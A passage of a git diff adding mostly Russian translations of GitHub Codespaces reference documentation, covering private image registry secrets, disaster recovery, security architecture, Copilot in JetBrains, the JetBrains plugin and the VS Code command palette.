контейнеру из подмножества репозиториев в организации + +Если вы хотите разрешить подмножеству репозиториев организации доступ к образу контейнера или разрешить доступ к внутреннему или частному образу из пространства кода, запущенного в общедоступном репозитории, можно вручную добавить репозитории в параметры доступа образа контейнера. Дополнительные сведения см. в разделе [Обеспечение доступа Codespaces к пакету](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package). + +### Публикация образа контейнера из пространства кода + +Простой доступ из codespace к {% data variables.packages.prodname_ghcr_or_npm_registry %} ограничен извлечением образов контейнеров. Если вы хотите опубликовать образ контейнера из пространства кода, необходимо использовать {% data variables.product.pat_v1 %} с областью `write:packages` . + +Рекомендуется публиковать образы с помощью {% data variables.product.prodname_actions %}. Дополнительные сведения см. в разделе [Публикация образов Docker](/actions/publishing-packages/publishing-docker-images) и [Публикация пакетов Node.js](/actions/publishing-packages/publishing-nodejs-packages). + +## Доступ к образам, хранящимся в других реестрах контейнеров + +Если вы обращаетесь к образу контейнера из реестра, который не является {% data variables.packages.prodname_ghcr_or_npm_registry %}, {% data variables.product.prodname_github_codespaces %} проверяет наличие трех секретов, которые определяют имя сервера, имя пользователя и {% data variables.product.pat_generic %} для реестра контейнеров. Если эти секреты найдены, {% data variables.product.prodname_github_codespaces %} сделает реестр доступным в пространстве кода. + +- `<*>_CONTAINER_REGISTRY_SERVER` +- `<*>_CONTAINER_REGISTRY_USER` +- `<*>_CONTAINER_REGISTRY_PASSWORD` + +Секреты можно хранить на уровне пользователя, репозитория или организации, что позволяет безопасно передавать их между различными пространствами кода. При создании набора секретов для частного реестра образов необходимо заменить "<*>" в имени на постоянный идентификатор. Дополнительные сведения см. в разделе [Управление зашифрованными секретами для пространств кода](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) и [Управление зашифрованными секретами для репозитория и организации в {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces). + +Если вы задаете секреты на уровне пользователя или организации, обязательно назначьте эти секреты репозиторию, в котором будет создаваться пространство кода, выбрав политику доступа из раскрывающегося списка. + +![Пример секрета для реестра образов](/assets/images/help/codespaces/secret-repository-access.png) + +### Примеры секретов + +Для частного реестра образов в Azure можно создать следующие секреты: + +``` +ACR_CONTAINER_REGISTRY_SERVER = mycompany.azurecr.io +ACR_CONTAINER_REGISTRY_USER = acr-user-here +ACR_CONTAINER_REGISTRY_PASSWORD = +``` + +Дополнительные сведения об общих реестрах образов см. в разделе [Серверы общих реестров образов](#common-image-registry-servers). Обратите внимание, что доступ к реестру эластичных контейнеров AWS (ECR) осуществляется другим способом. + +![Пример секрета для реестра образов](/assets/images/help/settings/codespaces-image-registry-secret-example.png) + +После добавления секретов может потребоваться остановить и запустить пространство кода, в котором вы находитесь, чтобы новые переменные среды были переданы в контейнер. Дополнительные сведения см. в разделе [Приостановка или остановка пространства кода](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace). + +#### Доступ к реестру эластичных контейнеров AWS + +Чтобы получить доступ к реестру эластичных контейнеров AWS (ECR), можно предоставить идентификатор ключа доступа AWS и секретный ключ, и {% data variables.product.prodname_dotcom %} может получить маркер доступа и выполнить вход от вашего имени. + +``` +*_CONTAINER_REGISTRY_SERVER = +*_CONTAINER_REGISTRY_USER = +*_CONTAINER_REGISTRY_PASSWORD = +``` + +Кроме того, необходимо убедиться в том, что у вас есть соответствующие разрешения IAM AWS для переключения учетных данных (например, `sts:GetServiceBearerToken`) и операции чтения ECR (`AmazonEC2ContainerRegistryFullAccess` или `ReadOnlyAccess`). + +Кроме того, если вы не хотите, чтобы GitHub выполнял переключение учетных данных от вашего имени, вы можете предоставить маркер авторизации, для получения которого используются API-интерфейсы или CLI AWS. + +``` +*_CONTAINER_REGISTRY_SERVER = +*_CONTAINER_REGISTRY_USER = AWS +*_CONTAINER_REGISTRY_PASSWORD = +``` + +Так как эти токены являются короткими и должны периодически обновляться, рекомендуется указать идентификатор ключа доступа и секрет. + +Хотя эти секреты могут иметь любое имя, при условии, что `*_CONTAINER_REGISTRY_SERVER` входит в URL-адрес ECR, мы рекомендуем использовать `ECR_CONTAINER_REGISTRY_*`, если вы не работаете с несколькими реестрами ECR. + +Дополнительные сведения см. в разделе [Документация по проверке подлинности частного реестра](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html) для ECR AWS. + +### Серверы общих реестров образов + +Некоторые из серверов общих реестров образов перечислены ниже: + +- [DockerHub](https://docs.docker.com/engine/reference/commandline/info/) - `https://index.docker.io/v1/`; +- [Реестр контейнеров GitHub](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io`; +- [Реестр контейнеров Azure](https://docs.microsoft.com/azure/container-registry/) - `.azurecr.io`; +- [Реестр эластичных контейнеров AWS](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Registries.html) - `.dkr.ecr..amazonaws.com`; +- [Реестр контейнеров Google Cloud](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (США), `eu.gcr.io` (Европа), `asia.gcr.io` (Азия). + +## Отладка доступа к частному реестру образов + +Если у вас возникли проблемы с извлечением образа из частного реестра образов, убедитесь, что вы можете успешно выполнить команду `docker login -u -p ` со значениями секретов, которые были определены выше. Если вход завершается с ошибкой, убедитесь, что учетные данные для входа действительны и что у вас есть необходимые разрешения на получение образа контейнера на сервере. Если вход выполнен успешно, убедитесь, что эти значения правильно скопированы в правильные секреты {% data variables.product.prodname_github_codespaces %} на уровне пользователя, репозитория или организации, и повторите попытку. diff --git a/translations/ru-RU/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md b/translations/ru-RU/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md new file mode 100644 index 000000000000..35475fd8580c --- /dev/null +++ b/translations/ru-RU/content/codespaces/codespaces-reference/disaster-recovery-for-github-codespaces.md @@ -0,0 +1,57 @@ +--- +title: Аварийное восстановление для GitHub Codespaces +intro: 'В этой статье приводятся рекомендации по аварийному восстановлению, при котором из-за масштабного стихийного бедствия или обширного прерывания работы службы весь регион оказывается подвержен сбою.' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +shortTitle: Disaster recovery +redirect_from: + - /codespaces/codespaces-reference/disaster-recovery-for-codespaces +ms.openlocfilehash: 9b892d6a24332e01174c819e2e88a91d1cdf9d65 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158816' +--- +Мы упорно работаем над тем, чтобы служба {% data variables.product.prodname_github_codespaces %} всегда оставалась доступной. Однако иногда по независящим от нас обстоятельствам происходят незапланированные нарушения работы служб. + +Хотя сценарии аварийного восстановления являются редкими, мы рекомендуем подготовиться к возможному сбою всего региона. Если весь регион испытывает перебои в работе службы, то локально избыточные копии ваших данных становятся временно недоступными. + +В следующем руководстве приведены варианты действий в случае прерывания работы службы во всем регионе, в котором развернуто пространство кода. + +{% note %} + +**Примечание.** Вы можете уменьшить потенциальное влияние сбоев на уровне службы, выполняя регулярную отправку кода в удаленные репозитории. + +{% endnote %} + +## Вариант 1. Создание нового пространства кода в другом регионе + +В случае регионального сбоя рекомендуется воссоздать пространство кода в другом регионе, который не затронут сбоем, чтобы продолжить работу. Это новое пространство кода будет содержать все изменения на момент последней отправки кода в {% data variables.product.prodname_dotcom %}. Дополнительные сведения о настройке другого региона вручную см. в разделе [Настройка региона по умолчанию для {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-region-for-github-codespaces). + +Вы можете оптимизировать время восстановления, настроив файл `devcontainer.json` в репозитории проекта. Это позволяет задать инструменты, среды выполнения, платформы, параметры редактора, расширения и другую конфигурацию, необходимую для автоматического восстановления среды разработки. Дополнительные сведения см. в разделе [Общие сведения о контейнерах разработки](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project). + +## Вариант 2. Ожидание восстановления + +В этом случае вам не нужно предпринимать какие-либо действия. Знайте, что мы активно работаем над восстановлением доступности службы. + +Текущее состояние службы можно проверить на [панели мониторинга состояния](https://www.githubstatus.com/). + +## Вариант 3. Клонирование репозитория локально или изменение в браузере + +Хотя {% data variables.product.prodname_github_codespaces %} предоставляет преимущества предварительно настроенной среды разработчика, исходный код всегда должен быть доступен через репозиторий, размещенный в {% data variables.product.prodname_dotcom_the_website %}. В случае сбоя {% data variables.product.prodname_github_codespaces %} вы по-прежнему можете клонировать репозиторий локально или редактировать файлы в редакторе браузера {% data variables.product.company_short %}. Дополнительные сведения см. в разделе [Редактирование файлов](/repositories/working-with-files/managing-files/editing-files). + +Хотя в этом случае у вас нет настроенной среды разработки, вы сможете вносить изменения в исходный код по мере необходимости, пока работа службы не будет восстановлена. + +## Вариант 4. Использование расширения Dev Containers и Docker для локальной контейнерной среды + +Если в репозитории есть , рассмотрите `devcontainer.json`возможность использования [расширения Dev Containers](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) в {% data variables.product.prodname_vscode %} для сборки локального контейнера разработки для репозитория и присоединения к нему. Время настройки этого варианта зависит от локальных спецификаций и сложности настройки контейнера разработки. Дополнительные сведения см. в разделе [Разработка внутри контейнера](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) в документации по {% data variables.product.prodname_vscode_shortname %}. + +{% note %} + +**Примечание.** Перед использованием этого варианта убедитесь в том, что локальная конфигурация соответствует [минимальным требованиям](https://code.visualstudio.com/docs/remote/containers#_system-requirements). + +{% endnote %} diff --git a/translations/ru-RU/content/codespaces/codespaces-reference/index.md b/translations/ru-RU/content/codespaces/codespaces-reference/index.md new file mode 100644 index 000000000000..d1159244123e --- /dev/null +++ b/translations/ru-RU/content/codespaces/codespaces-reference/index.md @@ -0,0 +1,21 @@ +--- +title: Ссылка +intro: 'В этом разделе содержатся ссылки, которые позволят успешно работать с {% data variables.product.prodname_github_codespaces %}' +versions: + fpt: '*' + ghec: '*' +children: + - /allowing-your-codespace-to-access-a-private-image-registry + - /using-github-copilot-in-github-codespaces + - /using-the-github-codespaces-plugin-for-jetbrains + - /using-the-vs-code-command-palette-in-codespaces + - /security-in-github-codespaces + - /disaster-recovery-for-github-codespaces +ms.openlocfilehash: 87692cd862e791f3e6ffa2be2b07f34c6158e617 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159200' +--- + diff --git a/translations/ru-RU/content/codespaces/codespaces-reference/security-in-github-codespaces.md b/translations/ru-RU/content/codespaces/codespaces-reference/security-in-github-codespaces.md new file mode 100644 index 000000000000..c27003a29f9a --- /dev/null +++ b/translations/ru-RU/content/codespaces/codespaces-reference/security-in-github-codespaces.md @@ -0,0 +1,118 @@ +--- +title: Security in GitHub Codespaces +intro: 'Overview of the {% data variables.product.prodname_github_codespaces %} security architecture, with guidelines to help you maintain security and minimize the risk of attack.' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces + - Security +type: reference +shortTitle: Security in Codespaces +redirect_from: + - /codespaces/codespaces-reference/security-in-codespaces +--- + +## Overview of codespace security + +{% data variables.product.prodname_github_codespaces %} is designed to be security hardened by default. Consequently, you will need to ensure that your software development practices do not risk reducing the security posture of your codespace. + +This guide describes the way {% data variables.product.prodname_github_codespaces %} keeps your development environment secure and provides some of the good practices that will help maintain your security as you work. As with any development tool, remember that you should only open and work within repositories you know and trust. + +### Environment isolation + +{% data variables.product.prodname_github_codespaces %} is designed to keep your codespaces separate from each other, with each using its own virtual machine and network. + +#### Isolated virtual machines + +Each codespace is hosted on its own newly-built virtual machine (VM). Two codespaces are never co-located on the same VM. + +Every time you restart a codespace, it's deployed to a new VM with the latest available security updates. + +#### Isolated networking + +Each codespace has its own isolated virtual network. We use firewalls to block incoming connections from the internet and to prevent codespaces from communicating with each other on internal networks. By default, codespaces are allowed to make outbound connections to the internet. + +### Authentication + +You can connect to a codespace using a web browser or from {% data variables.product.prodname_vscode %}. If you connect from {% data variables.product.prodname_vscode_shortname %}, you are prompted to authenticate with {% data variables.product.product_name %}. + +Every time a codespace is created or restarted, it's assigned a new {% data variables.product.company_short %} token with an automatic expiry period. This period allows you to work in the codespace without needing to reauthenticate during a typical working day, but reduces the chance that you will leave a connection open when you stop using the codespace. + +The token's scope will vary depending on the access you have to the repository where the codespace was created: + +- **If you have write access to the repository**: The token will be scoped for read/write access to the repository. +- **If you only have read access to the repository**: The token will only allow the code to be cloned from the source repository. If you attempt to push to a private repo where you only have read access, {% data variables.product.prodname_github_codespaces %} will prompt you to create a personal fork of the repository. The token will then be updated to have read/write access to the new personal fork. +- **If you've enabled your codespace to access other repositories**: When a codespace has been granted [access to other repositories](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces), any codespace created from that repository will have read/write tokens scoped to the source repository. In addition, the tokens will also receive read access to other repositories indicated by the user or organization. + +An organization's administrators specify which repositories should be considered trusted. An admin can [choose to trust](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces) none, all, or some of the organization's repositories. A codespace can't have greater permissions to access resources than the person who created it, even if the organization administrator has granted access to all users and all repositories. + +### Codespace connections + +You can connect to your codespace using the TLS encrypted tunnel provided by the {% data variables.product.prodname_github_codespaces %} service. Only the creator of a codespace can connect to a codespace. Connections are authenticated with {% data variables.product.product_name %}. + +If you need to allow external access to services running on a codespace, you can enable port forwarding for private or public access. + +### Port forwarding + +If you need to connect to a service (such as a development web server) running within your codespace, you can configure port forwarding to make the service available on the internet. + +Organization owners can restrict the ability to make forward ports available publicly or within the organization. For more information, see "[Restricting the visibility of forwarded ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)." + +**Privately forwarded ports**: Are accessible on the internet, but only the codespace creator can access them, after authenticating to {% data variables.product.product_name %}. + +**Publicly forwarded ports within your organization**: Are accessible on the internet, but only to members of the same organization as the codespace, after authenticating to {% data variables.product.product_name %}. + +**Publicly forwarded ports**: Are accessible on the internet, and anyone on the internet can access them. No authentication is needed to access public forwarded ports. + +All forwarded ports are private by default, which means that you will need to authenticate before you can access the port. Access to a codespace's private forwarded ports is controlled by authentication cookies with a 3-hour expiry period. When the cookie expires, you will need to reauthenticate. + +A public forwarded port will automatically revert back to private when you remove and re-add the port, or if you restart the codespace. + +You can use the "Ports" panel to configure a port for public or private access, and can stop port forwarding when it's no longer required. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)." + +## Good security practices for your codespaces + +Codespaces are designed to be security hardened by default. To help maintain this posture, we recommend that you follow good security practices during your development procedures: + +- As with any development tool, remember that you should only open and work within repositories you know and trust. +- Before you add new dependencies to the codespace, check whether they are well-maintained, and if they release updates to fix any security vulnerabilities found in their code. + +### Using secrets to access sensitive information + +Always use encrypted secrets when you want to use sensitive information (such as access tokens) in a codespace. You can access your secrets as environment variables in the codespace, including from the terminal. For example, you can launch a terminal within your codespace and use `echo $SECRET_NAME ` to see the value of a secret. + +The secret values are copied to environment variables whenever the codespace is resumed or created and are also synced when they are changed. + +Secrets are not copied into the environment if you don't have write access to the codespace's repository. + +For more information on secrets, see: +- "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" +- "[Managing encrypted secrets for your repository and organization for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces)" + +### Working with other people's contributions and repositories + +When you create a codespace from a PR branch from a fork, the token in the codespace will vary depending on whether the repository is public or private: +- For a private repository, the codespace is granted access to both the fork and parent. +- For a public repository, the codespace will only have access to the fork and opening PRs on the parent. + +We also further protect you in these scenarios by not injecting any of your [codespace secrets](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) into the environment. + +### Additional good practices + +There are some additional good practices and risks that you should be aware of when using {% data variables.product.prodname_github_codespaces %}. + +#### Understanding a repository's devcontainer.json file + +When you create a codespace, if a `devcontainer.json` file is found for your repository, it is parsed and used to configure your codespace. The `devcontainer.json` file can contain powerful features, such as installing third-party extensions and running arbitrary code supplied in a `postCreateCommand`. + +For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." + +#### Granting access through features + +Certain development features can potentially add risk to your environment. For example, commit signing, secrets injected into environment variables, authenticated registry access, and packages access can all present potential security issues. We recommend that you only grant access to those who need it and adopt a policy of being as restrictive as possible. + +#### Using extensions + +Any additional {% data variables.product.prodname_vscode_shortname %} extensions that you've installed can potentially introduce more risk. To help mitigate this risk, ensure that the you only install trusted extensions, and that they are always kept up to date. diff --git a/translations/ru-RU/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md b/translations/ru-RU/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md new file mode 100644 index 000000000000..f52c861ec078 --- /dev/null +++ b/translations/ru-RU/content/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces.md @@ -0,0 +1,100 @@ +--- +title: Использование GitHub Copilot в GitHub Codespaces +intro: 'Вы можете использовать {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_github_codespaces %}, добавив расширение .' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces + - Copilot + - Visual Studio Code +shortTitle: Copilot in Codespaces +redirect_from: + - /codespaces/codespaces-reference/using-copilot-in-codespaces + - /codespaces/codespaces-reference/using-github-copilot-in-codespaces +ms.openlocfilehash: 6615df6930fa8f27dd8f50c4588d8182b8602549 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158728' +--- +{% jetbrains %} + +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +{% endjetbrains %} + +{% webui %} + +## Использование {% data variables.product.prodname_copilot %} в веб-клиенте {% data variables.product.prodname_vscode_shortname %} + +{% data reusables.codespaces.copilot-in-vscode %} + +{% endwebui %} + +{% vscode %} + +## Использование {% data variables.product.prodname_copilot %} в {% data variables.product.prodname_vscode %} + +{% data reusables.codespaces.copilot-in-vscode %} + +{% endvscode %} + +{% jetbrains %} + +## Установка {% data variables.product.prodname_copilot %} в интегрированной среде разработки JetBrains + +[{% data variables.product.prodname_copilot %}](https://copilot.github.com/), помощник при написании кода для ИИ, может использоваться в любом пространстве кода. Дополнительные сведения см. в разделе [Сведения о GitHub Copilot](/copilot/overview-of-github-copilot/about-github-copilot). + +Чтобы использовать {% data variables.product.prodname_copilot %} в codespace в интегрированной среде разработки JetBrains, установите [подключаемый модуль {% data variables.product.prodname_copilot %}](https://plugins.jetbrains.com/plugin/17718-github-copilot) из codespace. + +{% note %} + +**Примечание.** Подключаемый модуль {% data variables.product.prodname_copilot %} необходимо устанавливать каждый раз при создании пространства кода. + +{% endnote %} + +1. В клиентском приложении JetBrains откройте диалоговое окно Параметры (Windows/Linux) или Параметры (Mac): + + - **Windows/Linux**: щелкните **Файл** , а затем **Параметры** (или нажмите клавиши CTRL+ALT+S). + - **Mac**: щелкните **Клиент JetBrains** в строке меню MacOS, а затем выберите **Параметры** (или нажмите команду+). + +1. В меню слева диалогового окна Параметры и настройки выберите **Подключаемые модули на узле**. Затем перейдите на вкладку **Marketplace** . + + ![Снимок экрана: вкладка Marketplace для "Подключаемые модули на узле"](/assets/images/help/codespaces/jetbrains-preferences-plugins.png) + +1. В поле поиска введите copilot и нажмите кнопку **Установить** для подключаемого модуля {% data variables.product.prodname_copilot %}. + + ![Снимок экрана: подключаемый модуль {% data variables.product.prodname_copilot %}](/assets/images/help/codespaces/jetbrains-copilot-plugin.png) + +1. Нажмите кнопку **Принять** в диалоговом окне "Примечание о конфиденциальности сторонних подключаемых модулей". +1. Щелкните **Restart IDE** (Перезагрузить IDE). + + ![Снимок экрана: подключаемый модуль {% data variables.product.prodname_copilot %}](/assets/images/help/codespaces/jetbrains-copilot-restart.png) + +1. При появлении запроса нажмите кнопку **Перезапустить** , чтобы подтвердить, что вы хотите перезапустить интегрированную среду разработки серверной части, которая работает удаленно. При этом клиентское приложение JetBrains закроется. +1. Снова откройте codespace из приложения шлюза JetBrains. Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} в интегрированной среде разработки JetBrains](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide#opening-a-codespace-in-your-jetbrains-ide). +1. После перезапуска интегрированной среды разработки JetBrains щелкните меню **Сервис**. Щелкните **{% data variables.product.prodname_copilot %}** , а затем нажмите **Вход в {% data variables.product.prodname_dotcom %}** . + + ![Снимок экрана: меню "Инструменты JetBrains"](/assets/images/help/codespaces/jetbrains-tools-menu.png) + +1. В диалоговом окне "Вход в {% data variables.product.prodname_dotcom %}" нажмите кнопку **Копировать и открыть**, чтобы скопировать код устройства и открыть окно активации устройства. + + ![Снимок экрана: копирование и открытие кода устройства](/assets/images/help/copilot/device-code-copy-and-open.png) + +1. Окно активации устройства откроется в браузере. Вставьте код устройства и нажмите кнопку **Продолжить**. + + - Чтобы вставить код в Windows или Linux, нажмите CTRL+V. + - Чтобы вставить код в macOS, нажмите COMMAND+V. +1. {% data variables.product.prodname_dotcom %} запросит необходимые разрешения для {% data variables.product.prodname_copilot %}. Чтобы одобрить эти разрешения, щелкните **Авторизовать подключаемый модуль {% data variables.product.prodname_copilot %}** . +1. После утверждения разрешений интегрированная среда разработки JetBrains отобразит подтверждение. Чтобы начать использование {% data variables.product.prodname_copilot %}, щелкните **OK**. + + ![Снимок экрана: подтверждение разрешений интегрированной среды разработки JetBrains](/assets/images/help/copilot/jetbrains-ide-confirmation.png) + +## Дополнительные материалы + +- Начало [работы с GitHub Copilot в интегрированной среде разработки JetBrains](/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide) + +{% endjetbrains %} diff --git a/translations/ru-RU/content/codespaces/codespaces-reference/using-the-github-codespaces-plugin-for-jetbrains.md b/translations/ru-RU/content/codespaces/codespaces-reference/using-the-github-codespaces-plugin-for-jetbrains.md new file mode 100644 index 000000000000..b66a8b050395 --- /dev/null +++ b/translations/ru-RU/content/codespaces/codespaces-reference/using-the-github-codespaces-plugin-for-jetbrains.md @@ -0,0 +1,72 @@ +--- +title: Использование подключаемого модуля GitHub Codespaces для JetBrains +shortTitle: Plugin for JetBrains +intro: 'Вы можете использовать подключаемый модуль {% data variables.product.prodname_github_codespaces %} для клиентского приложения JetBrains, чтобы узнать о codespace или остановить его после завершения работы.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces +ms.openlocfilehash: 8ffd48856a2653f3db3c871122d3acd23c246d7a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159938' +--- +{% data reusables.codespaces.codespaces-jetbrains-beta-note %} + +## Сведения о подключаемом модуле {% data variables.product.prodname_github_codespaces %} + +Клиентское приложение JetBrains запускается при подключении к codespace из приложения Шлюза JetBrains. Это позволяет использовать {% data variables.product.prodname_github_codespaces %} с избранным интерфейсом разработки JetBrains. Дополнительные сведения см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} в интегрированной среде разработки JetBrains](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide). + +Подключаемый модуль {% data variables.product.prodname_github_codespaces %} уже установлен в клиенте JetBrains при подключении к codespace из шлюза JetBrains. Подключаемый модуль добавляет окно инструментов {% data variables.product.prodname_github_codespaces %} в пользовательский интерфейс. + +Щелкните **{% data variables.product.prodname_github_codespaces %}** в левом нижнем углу окна приложения клиента JetBrains, чтобы открыть окно инструментов {% data variables.product.prodname_github_codespaces %}. + +![Снимок экрана: окно инструментов {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/jetbrains-codespaces-tool-window.png) + +## Использование окна инструментов {% data variables.product.prodname_github_codespaces %} + +В окне инструментов {% data variables.product.prodname_github_codespaces %} отображается следующее: +* Репозиторий, из которого вы создали это пространство кода. +* Отображаемое имя codespace. +* Текущая ветвь. +* Спецификации машины. +* Время, в течение которого это пространство кода может оставаться бездействующей, прежде чем оно будет автоматически остановлено. +* Возраст codespace. +* Период, в течение которого остановленное пространство кода будет храниться до его автоматического удаления. + +Значки в верхней части окна инструментов {% data variables.product.prodname_github_codespaces %} предоставляют следующие функции. + +* **Обновление активного codespace** + + ![Снимок экрана: кнопка "Обновить"](/assets/images/help/codespaces/jetbrains-plugin-icon-refresh-BAK.png) + + Обновите сведения в окне инструментов {% data variables.product.prodname_github_codespaces %}. Например, если вы использовали {% data variables.product.prodname_cli %} для изменения отображаемого имени, можно нажать эту кнопку, чтобы отобразить новое имя. + +* **Отключение и остановка** + + ![Снимок экрана: кнопка "Остановить"](/assets/images/help/codespaces/jetbrains-plugin-icon-stop.png) + + Остановите codespace, остановите серверную интегрированную среду разработки на удаленном компьютере и закройте локальный клиент JetBrains. + +* **Управление codespace из Интернета** + + ![Снимок экрана: кнопка "Список"](/assets/images/help/codespaces/jetbrains-plugin-icon-index.png) + + Откройте список codespace по адресу https://github.com/codespaces. + +* **Просмотр журнала создания codespace** + + ![Снимок экрана: кнопка "Журнал"](/assets/images/help/codespaces/jetbrains-plugin-icon-log.png) + + Откройте журнал создания codespace в окне редактора. Дополнительные сведения см. в статье [Журналы {% data variables.product.prodname_github_codespaces %}](/codespaces/troubleshooting/github-codespaces-logs). + +* **Перестроение контейнера разработки** + + ![Снимок экрана: кнопка "Перестроить"](/assets/images/help/codespaces/jetbrains-plugin-icon-rebuild.png) + + Перестройте codespace, чтобы применить изменения, внесенные в конфигурацию контейнера разработки. Клиент JetBrains закроется, и необходимо повторно открыть codespace. Дополнительные сведения см. в разделе [Жизненный цикл codespace](/codespaces/developing-in-codespaces/the-codespace-lifecycle#rebuilding-a-codespace). + diff --git a/translations/ru-RU/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md b/translations/ru-RU/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md new file mode 100644 index 000000000000..e9951be928ae --- /dev/null +++ b/translations/ru-RU/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md @@ -0,0 +1,76 @@ +--- +title: Использование палитры команд Visual Studio Code в GitHub Codespaces +intro: 'Функцию палитры команд {% data variables.product.prodname_vscode %} можно использовать для выполнения многих команд {% data variables.product.prodname_github_codespaces %}.' +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Codespaces + - Visual Studio Code +shortTitle: VS Code Command Palette +allowTitleToDifferFromFilename: true +redirect_from: + - /codespaces/codespaces-reference/using-the-command-palette-in-codespaces +ms.openlocfilehash: ac3be901f6b37636b4e287c93d7a4f312c02a37e +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160264' +--- +## Сведения о {% data variables.product.prodname_vscode_command_palette %} + +{% data variables.product.prodname_vscode_command_palette_shortname %} является одной из основных функций {% data variables.product.prodname_vscode %} и доступна для использования в {% data variables.product.prodname_github_codespaces %}. Палитра команд позволяет получить доступ ко многим командам для {% data variables.product.prodname_github_codespaces %} и {% data variables.product.prodname_vscode_shortname %}. Дополнительные сведения об использовании {% data variables.product.prodname_vscode_command_palette_shortname %} см. в разделе [Пользовательский интерфейс](https://code.visualstudio.com/docs/getstarted/userinterface#_command-palette) в документации по {% data variables.product.prodname_vscode_shortname %}. + +## Доступ к {% data variables.product.prodname_vscode_command_palette_shortname %} + +Доступ к {% data variables.product.prodname_vscode_command_palette_shortname %} можно получить разными способами. + +- SHIFT+COMMAND+P (Mac) / CTRL+SHIFT+P (Windows/Linux). + + Обратите внимание, что эта команда является зарезервированным сочетанием клавиш в Firefox. +- F1 +- В меню приложения выберите пункт **Вид > Палитра команд...** . + + ![Меню приложения](/assets/images/help/codespaces/codespaces-view-menu.png) + +## Команды для {% data variables.product.prodname_codespaces %} + +Чтобы просмотреть все команды, связанные с {% data variables.product.prodname_github_codespaces %}, [откройте{% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), а затем начните вводить "Codespaces". + +![Список всех команд, связанных с {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-command-palette.png) + +### Приостановка или остановка codespace + +Если вы добавите новый секрет или измените тип компьютера, вам придется остановить и перезапустить пространство кода, чтобы применить изменения. + +Чтобы приостановить или остановить контейнер codespace, [откройте {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette) и начните вводить "остановить". Выберите **Codespaces: остановить текущее codespace**. + +![Команда для остановки codespace](/assets/images/help/codespaces/codespaces-stop.png) + +### Добавление предопределенной конфигурации контейнера разработки + +Чтобы добавить предопределенную конфигурацию контейнера разработки, [получите доступ к {% data variables.product.prodname_vscode_command_palette_shortname %}](#accessing-the-command-palette), а затем начните вводить "контейнер разработки". Выберите **Codespaces: добавление файлов конфигурации для контейнера разработки...** . + +![Команда для добавления контейнера разработки](/assets/images/help/codespaces/add-prebuilt-container-command.png) + +### Перестроение codespace + +Если вы добавите контейнер разработки или измените любой из файлов конфигурации (`devcontainer.json` и `Dockerfile`), вам придется перестроить codespace, чтобы применить изменения. + +Чтобы перестроить контейнер, [откройте {% data 